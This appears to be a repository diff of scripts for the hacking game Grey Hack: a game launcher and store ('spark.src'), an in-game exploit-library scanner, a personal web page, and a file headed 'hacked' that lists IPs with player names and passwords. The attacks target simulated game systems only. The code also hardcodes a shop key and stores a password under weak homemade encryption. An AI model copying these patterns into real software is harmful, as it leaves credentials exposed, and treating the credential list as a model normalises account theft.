print("<color=#309FFF> /____/ </color>")
print("<color=#1C5F96>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</color>")
end function
apt=include_lib("/lib/aptclient.so")
if apt then
sources=get_shell.host_computer.File("/etc/apt/sources.txt")
if sources and sources.has_permission("r") then
inSource=0
sources=sources.get_content.split("\n")
for source in sources
source=source.split(":")
if source[0] == " ""68.223.109.53""" then inSource=1
end for
if not inSource then
apt.add_repo("205.54.111.56",1542)
apt.update
end if
out=apt.check_upgrade(program_path)
if out and typeof(out) == "number" then
print("<color=#309FFF>Updating...</color>\n")
apt.install(program_path.split("/")[-1],parent_path(program_path))
exit("<color=#309FFF>Please re-run S&boxy</color>")
end if
end if
end if
callSand()
while 1
logo()
print("<i><color=#309FFF>[1] </color><color=white>Test file</color></i>")
print("<i><color=#309FFF>[2] </color><color=white>Exit</i></color></i>")
opt=user_input("<color=#309FFF>$ </color><color=white>")
if opt == "2" then exit("<color=#309FFF>Come back soon!</color>")
if opt == "1" then test()
end while

50
saved.txt Normal file
View file

@ -0,0 +1,50 @@
hacked
(gh0st) 50.69.122.28 @
103.226.180.131 (sidestep) @
9.124.220.111 (Aleksander) @ 89135164393
160.101.63.213 (deepblue) @ 11235813
43.64.73.195 (actens) @
193.178.103.146 (Xen) @ halflife
132.18.233.152 (scriptkiddyy) @ --assume lost
144.90.9.113, 84.127.102.130 (RedFox) @
109.241.111.166 @
16.214.128.52 (texnik) @
13.60.114.184 (Deckard) @
(Tyy) @ Tyy123
42.33.105.51 (Nameless) @
85.46.147.69 @
178.49.77.18 @
(cadencoaster) 63.67.61.119 @
102.171.226.175 @ Nsongo
198.121.50.126 @ trombi
51.129.147.102 @ alcomp
154.135.53.147 @ slie1
216.99.75.29 @
135.209.62.202 @ 32323
207.8.1.58 @
51.255.46.225 @
33.60.82.89 @ (1w2e3) revolC
216.21.131.254 @
17.215.166.209 @
125.125.125.125 @
95.196.85.34 @ asDfGhILol181qw
138.151.249.116 @ n8DooemuPeAgYjP
199.251.35.201 @
207.152.44.241 @ txjgtERCNTLhDoD
90.81.100.163 @ VaMiNXQQuHIOMT
106.84.183.159 @ (dodgers)
8.71.159.149 @ (Rickerm)
(rocket) @
121.185.55.164 @ (Sistin) wallofshame
79.119.167.247 @ dZ9DL8VAFpTTLDQ
(volk) 104.54.183.156 @
(lady) 148.46.246.75 @
() 124.128.251.119 @
130.203.6.43 @ manua
147.187.34.161 @ ainerso
24.254.78.157 @ (Stephe) nerdhacker1234
(Verwex) @
91.166.175.240 @ (Bited) hack
103.37.188.134 @ asakingl

58
scanlib.src Normal file
View file

@ -0,0 +1,58 @@
mxf=null
root=get_shell.host_computer.File("/")
newFiles=root.get_folders+root.get_files
while newFiles.len
currFile=newFiles.pull
if currFile.is_folder then
newFiles=currFile.get_folders+currFile.get_files+newFiles
end if
test=include_lib(currFile.path)
if typeof(test) == "MetaxploitLib" then mxf=currFile.path
end while
if not mxf then exit("no metaxploit")
mx=include_lib(mxf)
if params.len != 1 then exit("invalid parameters")
getPath=function(path)
cpath=current_path
if path != "/" then
path=path.split("/")
if path[-1] == "" then path.pop
if path[0] == ".." then
if path.len == 1 then
path=parent_path(cpath)
else
path.pull
if parent_path(cpath) == "/" then
path=parent_path(cpath)+path.join("/")
else
path=parent_path(cpath)+"/"+path.join("/")
end if
end if
else if path[0] == "." then
if path.len == 1 then
path=cpath
else
path.pull
if cpath == "/" then
path=cpath+path.join("/")
else
path=cpath+"/"+path.join("/")
end if
end if
else if path[0] != "" then
if cpath == "/" then
path=cpath+path.join("/")
else
path=cpath+"/"+path.join("/")
end if
else if path[0] == "" then
path=path.join("/")
end if
end if
return path
end function
path=getPath(params[0])
ml=mx.load(path)
if not ml then exit("invalid file")
print(ml.lib_name+" "+ml.version)

763
spark.src Normal file
View file

@ -0,0 +1,763 @@
import_code("/bin/BTC")
ver="1.2.0"
stage="RELEASE-2007.4.24"
code="BUGGER"
//internal private functions
apt=include_lib("/lib/aptclient.so")
if apt then
inSource=apt.show("68.223.109.53")
if inSource == "68.223.109.53 repository not found" then
apt.add_repo("68.223.109.53",1542)
apt.update
end if
out=apt.check_upgrade(program_path)
if out and typeof(out) == "number" then
print("<color=#309FFF>Updating...</color>\n")
apt.install(program_path.split("/")[-1],parent_path(program_path))
get_shell.launch(program_path)
exit
end if
end if
server=get_shell.connect_service
if typeof(server) != "shell" then exit("<color=red>Failed to connect to the Spark servers</color>")
dlserver=server.connect_service
if typeof(dlserver) != "shell" then exit("<color=red>Failed to connect to the Spark servers</color>")
sandbox=server.connect_service
if typeof(sandbox) != "shell" then sandbox=null
encrypt=function(pass,secret,type)
cryptChars=function(pass)
if typeof(pass) == "string" then
newList=[]
for chr in pass
newList.push(bitwise("^",chr.code,key))
end for
return newList.join("/")
else if typeof(pass) == "list" then
newList=""
for num in pass
newList=newList+char(bitwise("^",num.to_int,key))
end for
return newList
end if
end function
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
if list.indexOf(chr) == null then continue
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
shiftedChars="S+49K_7?^VL0s6yOe$b#A.X!T=EQP)H>imv@nZB8gw(tpaoM2<jYNC1l%GDF&JRzfr*/hc3|qdWk5xu-UI"
passLen=pass.len
key=0
for chr in secret
key=key+chr.code
end for
if type == "enc" then
enc1=cryptChars(pass)
crypt=shiftChars(enc1,shiftedChars,allowedChars)
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
dec=dec.split("/")
dec=cryptChars(dec)
crypt=dec
end if
return(crypt)
end function
login=function(user,pass)
out={}
out.bool=1
out.err="Failed to log in"
if not user then user=user_input("<color=#309FFF>Username: </color><color=white>")
if not server.host_computer.File("/server/.spark/users/"+user) then
out.bool=0
return out
end if
if not pass then pass=user_input("<color=#309FFF>Password: <b>",1)
if md5(pass) != server.host_computer.File("/server/.spark/users/"+user+"/passwd.enc").get_content then
out.bool=0
return out
end if
out.out={"name": user, "pass": pass}
if not get_shell.host_computer.File(home_dir+"/Config/spark.lgn") then
get_shell.host_computer.touch(home_dir+"/Config","spark.lgn")
get_shell.host_computer.File(home_dir+"/Config/spark.lgn").set_content(user+":"+encrypt(pass,"SparkENC","enc"))
end if
return out
end function
register=function()
out={}
out.bool=1
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
user=user_input("<color=#309FFF>Register username: </color><color=white>")
if user.len > 20 then
out.bool=0
out.err="Username too long"
return out
end if
for chr in user
if allowedChars.indexOf(chr) == null then
out.bool=0
out.err="Invalid characters used in username"
return out
end if
end for
if server.host_computer.File("/server/.spark/users/"+user) then
out.bool=0
out.err="User exists"
return out
end if
Rpass=user_input("<color=#309FFF>Register password: <b>",1)
Cpass=user_input("<color=#309FFF>Confirm password: <b>",1)
if Cpass != Rpass then
out.bool=0
out.err="Passwords don't match"
return out
end if
print("<color=#309FFF><b>Creating account...</b></color>")
print("<align=right><color=#309FFF>-=-</color></align>")
server.host_computer.create_folder("/server/.spark/users",user)
ufile=server.host_computer.File("/server/.spark/users/"+user)
server.host_computer.touch(ufile.path,"passwd.enc")
server.host_computer.touch(ufile.path,"btc.usr")
server.host_computer.create_folder(ufile.path,"library")
server.host_computer.touch(ufile.path,"dev.spk")
ufile.chmod("o-wrx",1)
ufile.chmod("g-wrx",1)
ufile.chmod("u-wrx",1)
server.host_computer.File(ufile.path+"/passwd.enc").set_content(md5(Cpass))
server.host_computer.File(ufile.path+"/dev.spk").set_content(0)
out.out={"name": user, "pass": Cpass}
if not get_shell.host_computer.File(home_dir+"/Config/spark.lgn") then
get_shell.host_computer.touch(home_dir+"/Config","spark.lgn")
get_shell.host_computer.File(home_dir+"/Config/spark.lgn").set_content(name+":"+encrypt(Cpass,"SparkENC","enc"))
end if
return out
end function
delete=function()
out={}
out.bool=1
out.err="User not deleted"
out.out="User deleted"
if user then user=login(user) else user=login()
if not user.bool then
out.bool=0
return out
end if
user=user.out
print("<color=red><b>Are you sure you want to delete your account? You will not be refunded!</b></color>")
confirm=user_input("<color=red>[y/N]> ").lower
if confirm != "y" then
out.bool=0
return out
end if
server.host_computer.File("/server/.spark/users/"+user.name).delete
return out
end function
getGames=function()
games=[]
for file in server.host_computer.File("/server/.spark/store").get_files
cont=file.get_content.split("\n")
game={}
game.name=file.name
game.cost=cont[0]
game.desc=cont[1]
game.dev=cont[2]
game.progname=cont[3]
rating=0
for i in cont[3:]
i=i[0]
if i == "1" then
rating=rating+1
else if i == "0" then
rating=rating-1
end if
end for
game.rating=rating
game.location="/server/.games/"+game.progname
games.push(game)
end for
return games
end function
getOwned=function()
games=[]
for file in server.host_computer.File("/server/.spark/users/"+user.name+"/library").get_files
if not server.host_computer.File("/server/.spark/store/"+file.name) then
file.delete
continue
end if
file=server.host_computer.File("/server/.spark/store/"+file.name)
cont=file.get_content.split("\n")
game={}
game.name=file.name
game.cost=cont[0]
game.desc=cont[1]
game.dev=cont[2]
game.progname=cont[3]
rating=0
for i in cont[3:]
i=i[0]
if i == "1" then
rating=rating+1
else if i == "0" then
rating=rating-1
end if
end for
game.rating=rating
game.location="/server/.games/"+game.progname
games.push(game)
end for
return games
end function
getPath=function(path)
cpath=current_path
if path != "/" then
path=path.split("/")
if path[-1] == "" then path.pop
if path[0] == ".." then
if path.len == 1 then
path=parent_path(cpath)
else
path.pull
if parent_path(cpath) == "/" then
path=parent_path(cpath)+path.join("/")
else
path=parent_path(cpath)+"/"+path.join("/")
end if
end if
else if path[0] == "." then
if path.len == 1 then
path=cpath
else
path.pull
if cpath == "/" then
path=cpath+path.join("/")
else
path=cpath+"/"+path.join("/")
end if
end if
else if path[0] == "#" and home != "/" then
path.pull
path=home+"/"+path.join("/")
else if path[0] != "" then
if cpath == "/" then
path=cpath+path.join("/")
else
path=cpath+"/"+path.join("/")
end if
else if path[0] == "" then
path=path.join("/")
end if
end if
return path
end function
purchase=function()
out={}
out.bool=1
if game.cost == "0" then return out
output=BTC.transfer("sparki",game.cost)
if not output.bool then
out.bool=0
out.err="Purchase failed"
return out
end if
btcacc=server.host_computer.File("/server/.spark/users/"+game.dev+"/btc.usr").get_content
if btcacc=="sparki" then return out
cut=game.cost.to_int*.1
pay=str(game.cost.to_int-cut)
recipient=btcacc
info=current_date[:-6]
random=str(rnd())
shopkey="35f4faf93b883314c29a3603f5e86244"
checkSum=info+":"+random+":sparki:"+md5(shopkey+recipient+pay+info+random+"sparki")
output=BTC.transfer(recipient,pay,"sparki",1,checkSum)
return out
end function
logo=function()
print("<color=#309FFF>-=-=-=-=-=-=-=-=-=-</color>")
print("<color=#309FFF><b>Spark Game Launcher</b></color>")
print("<color=#309FFF>-=-=-=-=-=-=-=-=-=-</color>")
print("<color=#309FFF>v."+ver+" "+stage+" "+code+"</color>")
end function
shopDisplay=function()
games=getGames()
if games.len == 0 then
print("<color=#309FFF>No games found</color>")
wait(1)
return
end if
owned=getOwned()
list=[]
for game in games
if owned.indexOf(game) == null then list.push(game)
end for
wait(2)
while 1
clear_screen
if list.len == 0 then
print("<color=#309FFF>No games found</color>")
wait(1)
return
end if
for i in range(0,list.len-1)
game=new list[i]
print("\n<color=#309FFF>:"+(i+1)+"> <b>"+game.name+"</b></color>")
print("<color=#309FFF>:Dev> <b>"+game.dev+"</b></color>")
print("<color=#309FFF>:Rating> <b>"+game.rating+"</color>")
if game.desc.len > 25 then game.desc=game.desc[:25]+"...</color>"
print(game.desc)
end for
print("\n<color=#309FFF>back</color>")
index=user_input("<color=#309FFF>[#]> </color><color=white>").to_int
if typeof(index) != "number" and index.lower == "back" then return
if typeof(index) != "number" then continue
index=index-1
if index < 0 or index > list.len then continue
while 1
clear_screen
game=list[index]
print("<color=#309FFF><b>"+game.name+"</b></color>")
print("<color=#309FFF>Developed by: <b>"+game.dev+"</b></color>")
print("<color=#309FFF>Rating (Higher is better): <b>"+game.rating+"</b></color>")
print(game.desc)
if game.cost.to_int then print("<color=#309FFF>Cost: "+game.cost+"</color>") else print("<color=#309FFF>Cost: FREE</color>")
print("<color=#309FFF>Buy</color>")
print("\n<color=#309FFF>back</color>")
opt=user_input("<color=#309FFF>[]> </color><color=white>").lower
if opt == "back" then break
if opt == "buy" then
check=purchase()
if not check.bool then
print(check.err)
wait(1)
continue
end if
print("<color=#309FFF>Installing game...</color>\n")
server.host_computer.touch("/server/.spark/users/"+user.name+"/library",game.name)
list.remove(list.indexOf(game))
dlserver.scp(game.location,"/bin",get_shell)
wait(1)
break
end if
end while
end while
end function
libraryDisplay=function()
games=getOwned()
while 1
clear_screen
if games.len == 0 then
print("No games found")
wait(1)
return
end if
for i in range(0,games.len-1)
game=games[i]
games[i].installed=0
if get_shell.host_computer.File("/bin/"+game.progname) then games[i].installed=1
print("\n")
if game.installed then print("<color=#309FFF>:"+(i+1)+"> <b>"+game.name+"</b> | Installed</color>") else print("<color=#309FFF>:"+i+"> <b>"+game.name+"</b> | Not installed</color>")
end for
print("\n<color=#309FFF>back</color>")
index=user_input("<color=#309FFF>[#]> </color><color=white>").to_int
if typeof(index) != "number" and index.lower == "back" then return
if typeof(index) != "number" then continue
index=index-1
if index < 0 or index > games.len then continue
while 1
clear_screen
game=games[index]
game.rating=null
for i in server.host_computer.File("/server/.spark/store/"+game.name).get_content.split("\n")[3:]
if i[1:] == user.name then game.rating=i[0]
end for
print("<color=#309FFF><b>"+game.name+"</b></color>")
print("<color=#309FFF>Developed by: <b>"+game.dev+"</b></color>")
rating=0
for i in server.host_computer.File("/server/.spark/store/"+game.name).get_content.split("\n")[3:]
i=i[0]
if i == "1" then
rating=rating+1
else if i == "0" then
rating=rating-1
end if
end for
print("<color=#309FFF>Rating: <b>"+rating+"</b></color>")
if game.rating == null then print("<color=#309FFF>You haven't rated this game yet!</color>")
if game.rating=="1" then
print("<color=#309FFF>Rated this game positively!</color>")
else if game.rating=="0" then
print("<color=#309FFF>Rated this game negatively</color>")
end if
if game.installed then print("<color=#309FFF>Installed<br>Play - Uninstall - Rate</color>") else print("<color=#309FFF>Not installed<br>Install - Rate</color>")
print("\n<color=#309FFF>back</color>")
opt=user_input("<color=#309FFF>[]> </color><color=white>").lower
if opt == "back" then break
if opt == "rate" then
print("<color=#309FFF>Upvote or downvote game?</color>")
opt=user_input("<color=#309FFF>[up/down]> </color><color=white>").lower
if opt != "up" and opt != "down" then continue
storepage=server.host_computer.File("/server/.spark/store/"+game.name)
rating=server.host_computer.File("/server/.spark/store/"+game.name).get_content.split("\n")[3:]
rated=null
for i in rating
i=i
if i[1:] == user.name then rated=rating.indexOf(i)
end for
if opt == "up" then
if rated != null then rating[rated]="1"+user.name else rating.push("1"+user.name)
game.rating="1"
else if opt == "down" then
if rated != null then rating[rated]="0"+user.name else rating.push("0"+user.name)
game.rating="0"
end if
cont=server.host_computer.File("/server/.spark/store/"+game.name).get_content.split("\n")[:3]+rating
server.host_computer.File("/server/.spark/store/"+game.name).set_content(cont.join(char(10)))
end if
if game.installed then
if opt == "play" then
get_shell.launch("/bin/"+game.progname)
exit
end if
if opt == "uninstall" then
get_shell.host_computer.File("/bin/"+game.progname).delete
game.installed=0
break
end if
end if
if not game.installed then
if opt == "install" then
print("<color=#309FFF>Installing game...\n</color>")
dlserver.scp(game.location,"/bin",get_shell)
game.installed=1
break
end if
end if
end while
end while
end function
devDisplay=function()
if server.host_computer.File("/server/.spark/users/"+user.name+"/btc.usr").get_content.len == 0 then
print("<color=#309FFF>First time setup: BTC Account</color>")
btcacc=user_input("<color=#309FFF>Name> </color><color=white>")
server.host_computer.File("/server/.spark/users/"+user.name+"/btc.usr").set_content(btcacc)
end if
while 1
games=[]
for file in server.host_computer.File("/server/.spark/store").get_files
if file.get_content.split("\n")[2] == user.name then games.push(file)
end for
clear_screen
print("<color=#309FFF>Game developer options</color>")
print("<color=#309FFF>[Upload] game</color>")
print("<color=#309FFF>[Remove] game</color>")
print("<color=#309FFF>[Edit] game</color>")
print("<color=#309FFF>[BTC]</color>")
print("\n<color=#309FFF>back</color>")
opt=user_input("<color=#309FFF>[]> </color><color=white>").lower
if opt == "back" then return
if opt == "btc" then
btcacc=user_input("<color=#309FFF>New BTC Name> </color><color=white>")
server.host_computer.File("/server/.spark/users/"+user.name+"/btc.usr").set_content(btcacc)
end if
if opt == "upload" then
if not sandbox then
print("<color=#309FFF>Currently unable to upload games</color>")
wait(1)
continue
end if
print("<color=#309FFF>GAME GUILDLINES:</color>")
print("<color=#309FFF>*NO REPOSITORIES (Sorry! Its not safe!)</color>")
print("<color=#309FFF>*NO RSHELLS</color>")
print("<color=#309FFF>*ANY FORM OF INTERNAL EXPLOITING IS NOT ALLOWED</color>")
print("<color=#309FFF>*GAME WILL BE EVALUATED BY A HUMAN.</color>")
print("<color=#309FFF>*DO NOT USE \n IN DESCRIPTION, USE <br></color>")
path=getPath(user_input("<color=#309FFF>Path to game> </color><color=white>"))
prog=get_shell.host_computer.File(path)
print("<color=#309FFF>Uploading game...</color>")
if not prog or not prog.is_binary or prog.is_folder then
print("<color=#309FFF>Game does not exist</color>")
wait(2)
continue
end if
if not prog.has_permission("w") then
print("<color=#309FFF>Cannot upload game</color>")
wait(2)
continue
end if
game=[]
illegalChars=[":",",",".","/","\","[","{","(","]","}",")","-","_","="," ","|","<",">","~","`","*","&","^","%","$","#","@","!"]
illegal=0
name=user_input("<color=#309FFF>Game name> </color><color=white>")
for chr in name
if illegalChars.indexOf(chr) != null then illegal=1
end for
if illegal then
print("<color=#309FFF>Illegal characters use in game name!</color>")
wait(1)
continue
end if
gameFile=0
for file in server.host_computer.File("/server/.spark/store").get_files
if file.name == name then gameFile=1
end for
if gameFile then
print("<color=#309FFF>A game with that name already exists</color>")
wait(2)
continue
end if
cost=user_input("<color=#309FFF>Game cost> </color><color=white>")
if cost.to_int < 0 then cost="0"
desc=user_input("<color=#309FFF>Description:</color><color=white>")
dev=user.name
game.push(cost)
game.push(desc)
game.push(dev)
game.push(md5(prog.name))
sandbox.host_computer.touch("/root/store",name)
sandbox.host_computer.File("/root/store").chmod("o-wrx",1)
sandbox.host_computer.File("/root/store").chmod("g-wrx",1)
sandbox.host_computer.File("/root/store").chmod("u-wrx",1)
sandbox.host_computer.File("/root/store/"+name).set_content(game.join(char(10)))
get_shell.scp(prog.path,"/root/games",sandbox)
sandbox.host_computer.File("/root/games/"+prog.name).rename(md5(prog.name))
print("<color=#309FFF>Finished, please wait for the game to be approved</color>")
wait(2)
end if
if opt == "remove" then
if games.len == 0 then
print("No games found")
wait(1)
continue
end if
for i in range(0,games.len-1)
game=games[i]
print(":"+(i+1)+"> "+game.name)
end for
ind=user_input("<color=#309FFF>[#]> </color><color=white>").to_int
if typeof(ind) != "number" then continue
ind=ind-1
if ind < 0 or ind > games.len then continue
game=games[ind]
cont=game.get_content.split("\n")[3]
dlserver.host_computer.File("/server/.games/"+cont).delete
game.delete
print("<color=#309FFF>Game deleted</color>")
wait(2)
end if
if opt == "edit" then
if games.len == 0 then
print("<color=#309FFF>No games found</color>")
wait(1)
continue
end if
while 1
clear_screen
print("<color=#309FFF>[Edit] store page</color>")
print("<color=#309FFF>[Update] game</color>")
print("\n<color=#309FFF>back</color>")
opt=user_input("<color=#309FFF>[]> </color><color=white>").lower
if opt == "back" then break
if opt == "edit" then
for i in range(0,games.len-1)
game=games[i]
print("<color=#309FFF>:"+(i+1)+"> "+game.name+"</color>")
end for
ind=user_input("<color=#309FFF>[#]> </color><color=white>").to_int
if typeof(ind) != "number" then continue
ind=ind-1
if ind < 0 or ind > games.len then continue
game=games[ind]
while 1
clear_screen
cont=game.get_content.split("\n")
print("<color=#309FFF>Game: "+game.name+"</color>")
print("<color=#309FFF>-=-=-=-=-=-=-=-=-=-=-</color>")
print("<color=#309FFF>1. Description:</color>"+cont[1])
print("<color=#309FFF>2. Cost: "+cont[0]+"</color>")
print("\n<color=#309FFF>back</color>")
ind=user_input("<color=#309FFF>[#]> </color><color=white>")
if ind.lower == "back" then break
if ind == "1" then ind=1
if ind == "2" then ind=0
if typeof(ind) != "number" then continue
while 1
print("<color=#309FFF>Current:</color>")
print(cont[ind])
print("<color=#309FFF>:w to save and quit, :q to quit</color>")
edit=user_input("<color=white>")
if ind == 0 and typeof(edit) == "number" and edit.to_int < 0 then edit="0"
if edit.lower == ":w" then
print("<color=#309FFF>Saved</color>")
wait(1)
game.set_content(cont.join(char(10)))
break
end if
if edit.lower == ":q" then
break
end if
cont[ind]=edit
end while
end while
end if
if opt == "update" then
if not sandbox then
print("<color=#309FFF>Currently unable to upload games</color>")
wait(1)
continue
end if
if games.len == 0 then
print("<color=#309FFF>No games found</color>")
wait(1)
continue
end if
for i in range(0,games.len-1)
game=games[i]
print(":"+(i+1)+"> "+game.name)
end for
ind=user_input("<color=#309FFF>[#]> </color><color=white>").to_int
if typeof(ind) != "number" then continue
ind=ind-1
game=games[ind]
print("<color=#309FFF>GAME GUILDLINES:</color>")
print("<color=#309FFF>*NO REPOSITORIES (Sorry! Its not safe!)</color>")
print("<color=#309FFF>*NO RSHELLS</color>")
print("<color=#309FFF>*ANY FORM OF INTERNAL EXPLOITING IS NOT ALLOWED</color>")
print("<color=#309FFF>*GAME WILL BE EVALUATED BY A HUMAN.</color>")
print("<color=#309FFF>*DO NOT USE \n IN DESCRIPTION, USE <br></color>")
path=getPath(user_input("<color=#309FFF>Path to game> </color><color=white>"))
prog=get_shell.host_computer.File(path)
print("<color=#309FFF>Uploading game...</color>")
if not prog or not prog.is_binary or prog.is_folder then
print("<color=#309FFF>Game does not exist</color>")
wait(2)
continue
end if
if not prog.has_permission("w") then
print("<color=#309FFF>Cannot upload game</color>")
wait(2)
continue
end if
sandbox.host_computer.touch("/root/store",game.name)
cont=game.get_content.split("\n")
cont[3]=md5(prog.name)
get_shell.scp(prog.path,"/root/games",sandbox)
sandbox.host_computer.File("/root/store/"+game.name).set_content(cont[:4].join(char(10)))
sandbox.host_computer.File("/root/games/"+prog.name).rename(md5(prog.name))
print("<color=#309FFF>Finished, please wait for the game to be approved</color>")
wait(2)
end if
end while
end if
end while
end function
user=null
if get_shell.host_computer.File(home_dir+"/Config/spark.lgn") then
cont=get_shell.host_computer.File(home_dir+"/Config/spark.lgn").get_content.split(":")
if cont.len == 2 then
user=cont[0]
pass=encrypt(cont[1],"SparkENC","dec")
user=login(user,pass)
if not user.bool then user=null else user=user.out
end if
end if
while 1
clear_screen
logo()
if not user then
print("<color=#309FFF>Login - Register - Exit</color>")
term=user_input("<color=#309FFF>[]> </color><color=white>").lower
if term == "exit" then exit("-=Exiting=-")
if term == "login" then
out=login()
if out.bool then
user=out.out
else
print(out.err)
wait(1)
continue
end if
end if
if term == "register" then
out=register()
if out.bool then
user=out.out
else
print(out.err)
wait(1)
continue
end if
end if
else
dev=server.host_computer.File("/server/.spark/users/"+user.name+"/dev.spk").get_content.to_int
print("<color=#309FFF>Welcome back, <b>"+user.name+"</b>!</color>")
if dev then print("<color=#309FFF>Shop - Library - Logout - Delete - Dev - Exit</color>") else print("<color=#309FFF>Shop - Library - Logout - Delete - Exit</color>")
term=user_input("<color=#309FFF>[]> </color><color=white>").lower
if term=="exit" then exit("-=Exiting=-")
if term == "logout" then
user=null
if get_shell.host_computer.File(home_dir+"/Config/spark.lgn") then get_shell.host_computer.File(home_dir+"/Config/spark.lgn").delete
end if
if term == "delete" then
out=delete()
if out.bool then
print(out.out)
user=null
if get_shell.host_computer.File(home_dir+"/Config/spark.lgn") then get_shell.host_computer.File(home_dir+"/Config/spark.lgn").delete
wait(1)
else
print(output.err)
wait(1)
end if
end if
if term == "shop" then shopDisplay()
if term == "library" then libraryDisplay()
if dev and term == "dev" then devDisplay()
end if
end while

279
sparki.html Normal file
View file

@ -0,0 +1,279 @@
<html>
<title>clover's website -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</title>
<style>
body { font: 10px Times, serif; color: #707070; text-align: center; }
html{
background-color:#0E0E0E;
}
div{
text-align: center;
font-size: 14px;
}
h1 {
color: #6A855E;
text-shadow: 4px 4px 0px #445239;
}
h2 {
color: #303030;
}
p {
color: white;
font-size: 14px;
}
.btn {
cursor: pointer;
}
.btn-primary{
border-radius: 4px;
color: white;
font-size: 14px;
border: none;
margin-left: 4px;
margin-right: 4px;
background-color: #080808;
}
.btn-primary:hover{
background: #445239;
color: black;
}
.body{
height: 100%;
margin-top: 145px;
}
.scroll-window{
height:600px;
overflow-y: auto;
margin-bottom: 120px;
}
.header{
position: fixed;
top: -10px;
background-color: #0E0E0E;
}
.div-main{
margin-top:-24px;
}
.footer{
position: fixed;
bottom: 0px;
background-color: #0E0E0E;
}
.text-body {
text-align: left;
font-size:14px;
padding-left: 24px;
color:gray;
}
.text-note {
text-align: left;
font-size:12px;
padding-left: 48px;
color:#505050;
}
.rotate {
transform: rotate(2deg);
}
#div-main {
display: block;
margin-bottom: 800px;
}
#div-downloads {
display: none;
margin-bottom: 500px;
}
#div-players {
display: none;
}
#div-websites {
display: none;
}
</style>
<table class="header">
<tr>
<td>
<br><center><div class="rotate"><h1 style="font-size:35px;">Clover</h1></div></center>
<p>programmer for hire<br>MOTD: Join the Nexus.<br></p>
<hr><div style="margin-right:38px">
<button class="btn btn-primary" onclick="mainFunc()"> home </button>
<button class="btn btn-primary" onclick="downloadsFunc()"> downloads </button>
<button class="btn btn-primary" onclick="playersFunc()"> players </button>
<button class="btn btn-primary" onclick="websitesFunc()"> websites </button>
</div><hr>
</td>
</tr>
</table>
<table class="body">
<tr>
<td>
<div id="div-main">
<table class="scroll-window">
<tr><th><br><div><h2><u> -welcome to clover's site- </u></h2></div></th></tr>
<tr>
<td>
<center>
<br><br>
<p>news</p>
<table style="text-align:left;width:700px;"><tr><td>
<b class="text-body"><br>
<i class="text-note">[7.14.03]</i> <b style="color:white;">tribute to Darkie, i kind of accidentally rekt him.<br>
<i class="text-note">[4.18.00]</i> <b style="color:white;">rerelease<br>
<br><br><br><br>
</b>
</td></tr></table>
</center>
</td>
</tr>
</table>
</div>
<div id="div-downloads">
<table class="scroll-window">
<tr>
<th><div><br><h2><u>-downloads-</u></h2><br><br><button class="btn btn-primary" style="width:100px;" id="InformaticaShop" value="get files"></div></th>
</tr>
<tr>
<th><center><b style="color:white;"><u>Lunar</u></b><br><center>(script)</center></th>
<th><center><b style="color:white;"><u>NMap</u></b></center><center>(script)</center></th>
</tr>
<tr>
<td>
<p>*clover's private hacking tool, do not use!*<br></p>
</td>
<td>
<p>*scans networks for open ports and prints it in a neatly contained format*<br>
*yes, its in the style of enigma's x program*<br></p>
</td>
</tr>
<tr>
<th><center><b style="color:white;"><u>Bytes Client</u></b></center><center>(unreleased)</center></th>
<th><center><b style="color:white;"><u>primBrowser</u></b></center><center>(unreleased)</center></th>
</tr>
<tr>
<td>
<p>
*custom cryptocurrency, currently indev*<br>
</p>
</td>
<td>
<p>
*primitive web browsing application, currently indev*<br>
</p>
</td>
</tr>
<tr>
<th><center><b style="color:white;"><u>spark</u></b></center><center>(script)</center></th>
<th><center><b style="color:white;"><u>HackerClicker</u></b></center><center>(game)</center></th>
</tr>
<tr>
<td>
<p>
*in-game game launcher and shop, pending rerelease*<br>
</p>
</td>
<td>
<p>
*cookie clicker hacker skin, pending rerelease*<br>
*available on the Spark launcher*<br>
</p>
</td>
</tr>
<tr>
<td>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
<div id="div-players">
<table class="scroll-window">
